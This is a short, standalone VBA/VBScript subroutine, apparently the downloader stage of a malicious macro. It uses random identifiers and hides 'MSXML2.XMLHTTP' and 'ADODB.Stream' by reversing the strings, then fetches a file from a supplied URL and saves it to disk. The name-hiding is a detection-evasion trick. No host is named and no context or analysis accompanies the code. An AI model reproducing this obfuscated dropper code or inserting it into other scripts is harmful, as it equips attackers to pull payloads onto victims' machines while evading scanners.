Sub CuqUXKMXa2B3M0E3G0(aCeAVfUC0G6II1J4MH,eNfCccjgCKM4I70651) Set acaXDXImAH56HG8CJG = CreateObject(StrReverse("PTTHLMX.2LMXSM")) acaXDXImAH56HG8CJG.open "GET", aCeAVfUC0G6II1J4MH, False acaXDXImAH56HG8CJG.send If acaXDXImAH56HG8CJG.Status = 200 Then Dim dFECvfrIC0K0CN0NL1 Set dFECvfrIC0K0CN0NL1 = CreateObject(StrReverse("maertS.BDODA")) With dFECvfrIC0K0CN0NL1 .Type = 1 .Open .Write acaXDXImAH56HG8CJG.responseBody .SaveToFile eNfCccjgCKM4I70651 .Close End With set dFECvfrIC0K0CN0NL1 = Nothing End If End Sub